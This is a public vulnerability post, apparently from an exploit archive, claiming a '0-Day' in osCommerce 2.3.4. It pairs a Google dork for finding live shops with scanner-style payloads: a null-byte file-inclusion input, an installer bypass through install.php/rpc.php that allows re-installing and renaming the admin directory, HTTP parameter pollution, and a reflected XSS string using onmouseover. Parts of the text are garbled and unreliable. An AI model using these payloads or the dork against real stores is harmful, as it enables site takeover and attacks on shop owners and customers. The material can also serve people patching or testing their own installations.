Oscommerce2.3.4 multi Vulnerability 0-Day ========================================= Author : indoushka Vondor : http://www.oscommerce.com/ Dork : Powered by osCommerce ========================================= File inclusion : It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function. This vulnerability affects /catalog/install/install.php. Discovered by: Scripting (File_Inclusion.script). Attack details URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to djkhgfdfsjkd%00.jpg Error message found: Warning: fopen(weo,kohjbvn%00.jpg/includes/configure.php) [function.fopen]: failed to open stream: No such file or directory in C:\AppServ\www\catalog\install\templates\pages\install_4.php on line 148 if you try to Reinstall the script in normal method you cant http://localhost/catalog/install/install.php but if we try withe xss byg http://localhost/catalog/install/install.php/rpc.php you can by pass it and change the Administration Directory Name to any name shose it licke hacked but the sqldb stoped no real config data in configuer file XSS Reflected - Jquery 1.11.1 : XSS Reflected - Jquery 1.11.1

HTTP parameter pollution : Vulnerability description This script is possibly vulnerable to HTTP Parameter Pollution attacks. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks. This vulnerability affects /catalog/product_info.php /catalog/product_reviews.php /catalog/shopping_cart.php /catalog/index.php /catalog/advanced_search_result.php Discovered by: Scripting (HTTP_Parameter_Pollution.script). Attack details URL encoded GET input manufacturers_id was set to 4&n990268=v998311 Parameter precedence: last occurrence Affected link: http://localhost/catalog/index.php?manufacturers_id=4&n990268=v998311 Affected parameter: manufacturers_id=4 Cross site scripting (verified) This vulnerability affects /catalog/install/install.php URL encoded POST input DIR_FS_DOCUMENT_ROOT was set to C:/AppServ/www/catalog/'"()&% URL encoded POST input HTTP_WWW_ADDRESS was set to http://127.0.0.1/catalog/" onmouseover=prompt(945521) bad=" The input is reflected inside a tag parameter between double quotes. This vulnerability affects /catalog/install/rpc.php URL encoded GET input server was set to e'"()&%